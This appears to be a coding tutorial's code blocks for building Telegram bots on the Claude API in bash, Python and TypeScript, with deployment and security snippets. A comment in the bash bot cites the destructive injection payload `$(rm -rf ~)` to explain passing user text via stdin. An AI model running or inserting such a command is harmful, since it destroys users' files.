Telegram bots with the Claude API, from zero to production

7234567890:AAH_abcXYZ123...

#!/usr/bin/env bash
set -euo pipefail

source ~/.config/telegram-bot.env

API="https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}"
OFFSET=0

# Send function (handles the 4096-character limit)
send() {
  local chat="$1" text="$2"
  while [ -n "$text" ]; do
    local chunk="${text:0:4000}"
    text="${text:4000}"
    curl -s -X POST "${API}/sendMessage" \
      --data-urlencode "chat_id=${chat}" \
      --data-urlencode "text=${chunk}" > /dev/null
  done
}

handle_message() {
  local chat="$1" user_text="$2"

  # Allowed users only
  if [ "$chat" != "$TELEGRAM_ALLOWED_CHAT_ID" ]; then
    return
  fi

  # ⚠️ Protection against shell injection: stdin instead of an argument
  # If user_text contains `$(rm -rf ~)` or a backtick, without quoting it
  # will run as code. printf '%q' quotes safely, but it's more reliable to pass
  # the text through stdin so the shell never parses it at all.
  local reply
  reply=$(printf '%s' "$user_text" | claude -p --model sonnet \
    --max-budget-usd 0.50 2>&1) || reply="Error: $reply"

  send "$chat" "$reply"
}

# ⚠️ Polling loop WITHOUT a subshell pipe
# The old version `jq ... | while read` ran the while loop in a subshell:
# OFFSET got updated in there but stayed the same outside.
# Redirecting through process substitution `< <(...)` keeps the while loop
# in the current shell, so OFFSET is visible in the next iteration.
# curl --fail --max-time 30: drop hung connections, catch HTTP 5xx.
while true; do
  UPDATES=$(curl -s --fail --max-time 35 \
    "${API}/getUpdates?offset=${OFFSET}&timeout=30") || {
    echo "Telegram API timeout/error, retrying in 5s..." >&2
    sleep 5
    continue
  }

  while read -r upd; do
    OFFSET=$(($(echo "$upd" | jq '.update_id') + 1))
    CHAT=$(echo "$upd" | jq '.message.chat.id')
    TEXT=$(echo "$upd" | jq -r '.message.text // empty')
    [ -n "$TEXT" ] && handle_message "$CHAT" "$TEXT"
  done < <(echo "$UPDATES" | jq -c '.result[]?')
done

TELEGRAM_BOT_TOKEN=7234567890:AAH_your_token
TELEGRAM_ALLOWED_CHAT_ID=123456789   # Your chat_id (get it from @userinfobot)
ANTHROPIC_API_KEY=sk-ant-...

chmod 600 ~/.config/telegram-bot.env
chmod +x bot.sh
./bot.sh

pip install python-telegram-bot anthropic

import asyncio
import anthropic
from telegram import Update
from telegram.ext import Application, CommandHandler, MessageHandler, filters, ContextTypes
import os

claude = anthropic.Anthropic(api_key=os.environ["ANTHROPIC_API_KEY"])

# ⚠️ Memory: an in-memory dictionary is ONLY for development and a single process
#
# The problem: defaultdict(list) keeps an entry for every new user_id forever.
# 10,000 users × 20 messages × ~500 bytes = ~100 MB of RAM, and growing.
# When the process restarts, all history is lost.
#
# For production: Redis / Cloudflare KV / Postgres with a TTL.
# Below is LRU eviction by size (protection against running out of memory in the in-memory version).
from collections import OrderedDict

MAX_HISTORY = 20       # messages per user
MAX_USERS = 1000       # active users in memory (LRU eviction)

class LRUConversations(OrderedDict):
    """LRU dictionary: when MAX_USERS is exceeded, removes the oldest one."""
    def __getitem__(self, key):
        if key not in self:
            self[key] = []
        else:
            self.move_to_end(key)  # mark as recently used
        return super().__getitem__(key)

    def __setitem__(self, key, value):
        super().__setitem__(key, value)
        self.move_to_end(key)
        if len(self) > MAX_USERS:
            evicted_key, _ = self.popitem(last=False)  # drop oldest
            # In production: log + alert "history evicted for user X"

conversation_history = LRUConversations()

async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
    user = update.effective_user
    await update.message.reply_text(
        f"Hi, {user.first_name}! I'm an AI assistant. Ask me anything."
    )

async def clear_history(update: Update, context: ContextTypes.DEFAULT_TYPE):
    conversation_history[update.effective_user.id].clear()
    await update.message.reply_text("History cleared.")

async def handle_message(update: Update, context: ContextTypes.DEFAULT_TYPE):
    user_id = update.effective_user.id
    user_text = update.message.text
    
    # Show "typing..."
    await context.bot.send_chat_action(
        chat_id=update.effective_chat.id,
        action="typing"
    )
    
    # Add to history
    conversation_history[user_id].append({
        "role": "user",
        "content": user_text
    })
    
    # Trim if it's too long
    if len(conversation_history[user_id]) > MAX_HISTORY:
        conversation_history[user_id] = conversation_history[user_id][-MAX_HISTORY:]
    
    # Request to Claude
    response = claude.messages.create(
        model="claude-sonnet-5-5",
        max_tokens=2000,
        system="You are a helpful AI assistant. Keep your answers short and to the point.",
        messages=conversation_history[user_id]
    )
    
    reply = "".join(b.text for b in response.content if b.type == "text")
    
    # Save the reply
    conversation_history[user_id].append({
        "role": "assistant",
        "content": reply
    })
    
    # Telegram's 4096-character limit
    if len(reply) > 4096:
        for i in range(0, len(reply), 4096):
            await update.message.reply_text(reply[i:i+4096])
    else:
        await update.message.reply_text(reply)

def main():
    app = Application.builder().token(os.environ["TELEGRAM_BOT_TOKEN"]).build()
    app.add_handler(CommandHandler("start", start))
    app.add_handler(CommandHandler("clear", clear_history))
    app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handle_message))
    print("Bot is running...")
    app.run_polling()

if __name__ == "__main__":
    main()

import "dotenv/config";
import { Bot } from "grammy";
import Anthropic from "@anthropic-ai/sdk";

const bot = new Bot(process.env.TELEGRAM_BOT_TOKEN!);
const claude = new Anthropic();

// ⚠️ Conversation history in an in-memory Map, ONLY for development
//
// The problem: Map<number, ...> keeps an entry for every user_id forever.
// With 10k users the process will eat all the RAM and crash (OOM).
// On restart, all history is lost (it isn't persistent).
//
// For production, use Redis or Cloudflare KV with a TTL:
//   await env.KV.put(`chat:${userId}`, JSON.stringify(history),
//                    { expirationTtl: 60 * 60 * 24 * 7 }); // 7 days
//
// Below is LRU eviction by size (protection against OOM in a single-process setup).
const MAX_USERS = 1000;
const conversations = new Map<number, Array<{role: string, content: string}>>();

function getHistory(userId: number): Array<{role: string, content: string}> {
  if (conversations.has(userId)) {
    // LRU touch: remove it and put it back at the end (Map keeps insertion order)
    const h = conversations.get(userId)!;
    conversations.delete(userId);
    conversations.set(userId, h);
    return h;
  }
  // Evict the oldest one if we're over the limit
  if (conversations.size >= MAX_USERS) {
    const oldestKey = conversations.keys().next().value;
    if (oldestKey !== undefined) conversations.delete(oldestKey);
  }
  const fresh: Array<{role: string, content: string}> = [];
  conversations.set(userId, fresh);
  return fresh;
}

bot.on("message:text", async (ctx) => {
  const userId = ctx.from.id;
  const userText = ctx.message.text;
  
  const history = getHistory(userId);  // LRU touch + create if absent
  history.push({ role: "user", content: userText });
  
  // Placeholder message
  const placeholder = await ctx.reply("...");
  
  let buffer = "";
  let lastEdit = Date.now();
  
  // Streaming from Claude
  const stream = claude.messages.stream({
    model: "claude-sonnet-5-5",
    max_tokens: 2000,
    system: "You are a helpful AI assistant. Answer in the user's language.",
    messages: history as any,
  });
  
  for await (const chunk of stream) {
    if (chunk.type === "content_block_delta" && 
        chunk.delta.type === "text_delta") {
      buffer += chunk.delta.text;
      
      // Update every 800 ms (Telegram API limit)
      if (Date.now() - lastEdit > 800 && buffer.length > 20) {
        try {
          await ctx.api.editMessageText(
            ctx.chat.id, placeholder.message_id, buffer.slice(0, 4000)
          );
          lastEdit = Date.now();
        } catch (e) { /* the message didn't change */ }
      }
    }
  }
  
  // Final update
  await ctx.api.editMessageText(ctx.chat.id, placeholder.message_id, buffer.slice(0, 4000));
  
  history.push({ role: "assistant", content: buffer });
  if (history.length > 20) conversations.set(userId, history.slice(-20));
});

bot.command("clear", async (ctx) => {
  conversations.delete(ctx.from.id);
  await ctx.reply("History cleared.");
});

bot.start();

import io
import openai
import aiohttp
from telegram.ext import MessageHandler, filters

openai_client = openai.AsyncOpenAI(api_key=os.environ["OPENAI_API_KEY"])

async def handle_voice(update: Update, context: ContextTypes.DEFAULT_TYPE):
    await context.bot.send_chat_action(update.effective_chat.id, "typing")
    
    # Step 1: Download the OGG file
    file = await context.bot.get_file(update.message.voice.file_id)
    async with aiohttp.ClientSession() as session:
        async with session.get(file.file_path) as resp:
            audio_bytes = await resp.read()
    
    # Step 2: Transcribe with Whisper
    audio_file = io.BytesIO(audio_bytes)
    audio_file.name = "voice.ogg"
    
    # the speech recognition model name is an example: check OpenAI's documentation for current models
    transcription = await openai_client.audio.transcriptions.create(
        model="whisper-1",
        file=audio_file,
        language="en"
    )
    
    transcript = transcription.text
    
    # Step 3: Show what was recognized
    await update.message.reply_text(f"🎙️ I heard: _{transcript}_", parse_mode="Markdown")
    
    # Step 4: Pass it to Claude
    response = claude.messages.create(
        model="claude-sonnet-5-5",
        max_tokens=1000,
        messages=[{"role": "user", "content": transcript}]
    )
    await update.message.reply_text("".join(b.text for b in response.content if b.type == "text"))

app.add_handler(MessageHandler(filters.VOICE, handle_voice))

from telegram import InlineKeyboardButton, InlineKeyboardMarkup

async def show_menu(update: Update, context: ContextTypes.DEFAULT_TYPE):
    keyboard = [
        [
            InlineKeyboardButton("📝 Write a post", callback_data="mode_content"),
            InlineKeyboardButton("📊 Analytics", callback_data="mode_analytics"),
        ],
        [InlineKeyboardButton("🗑️ Clear history", callback_data="clear_history")],
    ]
    await update.message.reply_text(
        "Choose a mode:", reply_markup=InlineKeyboardMarkup(keyboard)
    )

async def handle_callback(update: Update, context: ContextTypes.DEFAULT_TYPE):
    query = update.callback_query
    await query.answer()  # REQUIRED: removes the loading "clock" on the button
    
    if query.data == "mode_content":
        context.user_data["mode"] = "content"
        await query.edit_message_text("Mode: content assistant. Send me a topic 👇")
    elif query.data == "clear_history":
        conversation_history[query.from_user.id].clear()
        await query.answer("History cleared!", show_alert=True)

from telegram.ext import CallbackQueryHandler
app.add_handler(CallbackQueryHandler(handle_callback))

# Install
npm install -g wrangler
wrangler login

# New project
mkdir my-telegram-bot && cd my-telegram-bot
npm install grammy @anthropic-ai/sdk

# Secrets (not in the code!)
wrangler secret put BOT_TOKEN
wrangler secret put ANTHROPIC_API_KEY
wrangler secret put WEBHOOK_SECRET

name = "my-telegram-bot"
main = "src/index.ts"
compatibility_date = "2026-10-01"  # use the current date when you create the project

import { Bot, webhookCallback } from "grammy";
import Anthropic from "@anthropic-ai/sdk";

export interface Env {
  BOT_TOKEN: string;
  ANTHROPIC_API_KEY: string;
  WEBHOOK_SECRET: string;
}

export default {
  async fetch(request: Request, env: Env): Promise<Response> {
    // Check the secret_token
    const secret = request.headers.get("X-Telegram-Bot-Api-Secret-Token");
    if (secret !== env.WEBHOOK_SECRET) {
      return new Response("Unauthorized", { status: 401 });
    }
    
    const bot = new Bot(env.BOT_TOKEN);
    const claude = new Anthropic({ apiKey: env.ANTHROPIC_API_KEY });
    
    bot.on("message:text", async (ctx) => {
      const response = await claude.messages.create({
        model: "claude-haiku-4-5",  // Haiku: saves money on Workers
        max_tokens: 1024,
        messages: [{ role: "user", content: ctx.message.text }],
      });
      await ctx.reply(response.content.map((b) => (b.type === "text" ? b.text : "")).join("") as string);
    });
    
    return webhookCallback(bot, "cloudflare-mod")(request);
  },
};

# Deploy
wrangler deploy
# Output: https://my-telegram-bot.YOUR-USERNAME.workers.dev

# Register the webhook (once)
curl "https://api.telegram.org/bot<BOT_TOKEN>/setWebhook" \
  -d "url=https://my-telegram-bot.YOUR-USERNAME.workers.dev" \
  -d "secret_token=<WEBHOOK_SECRET>"

# Project structure
my-bot/
├── bot.py
├── requirements.txt   # python-telegram-bot and anthropic (use current versions)
└── Procfile           # web: python bot.py

# Deploy
git init && git add . && git commit -m "initial"
# → Railway.com → New Project → Deploy from GitHub
# Add the variables: TELEGRAM_BOT_TOKEN, ANTHROPIC_API_KEY

# ❌ FORBIDDEN
bot = Bot(token="7234567890:AAH...")

# ✅ RIGHT
bot = Bot(token=os.environ["TELEGRAM_BOT_TOKEN"])

ALLOWED_USERS = {123456789}  # Your chat_ids

async def check_access(update: Update) -> bool:
    if update.effective_user.id not in ALLOWED_USERS:
        await update.message.reply_text("Access denied.")
        return False
    return True

from collections import defaultdict
from datetime import datetime, timedelta

requests = defaultdict(list)

def check_rate_limit(user_id: int, max_req=5, window_sec=60) -> bool:
    now = datetime.now()
    cutoff = now - timedelta(seconds=window_sec)
    requests[user_id] = [ts for ts in requests[user_id] if ts > cutoff]
    if len(requests[user_id]) >= max_req:
        return False
    requests[user_id].append(now)
    return True

SUPPORT_PROMPT = """You are a support agent for Acme Realty.
You help clients find property in Ecuador.
For questions about prices, ask about their budget and preferences.
For complaints, apologize and ask for their contact details.
If you don't know something, say so honestly and offer to connect them with a manager."""

Tapped a button → picked an interest (buy/rent) 
→ entered a budget → entered contact info 
→ the manager got the lead in a separate chat

MODES = {
    "telegram": "A Telegram post, max 800 characters, 3-5 emoji",
    "instagram": "An Instagram post with 10-15 hashtags at the end",
    "blog": "An article of at least 800 words with subheadings",
}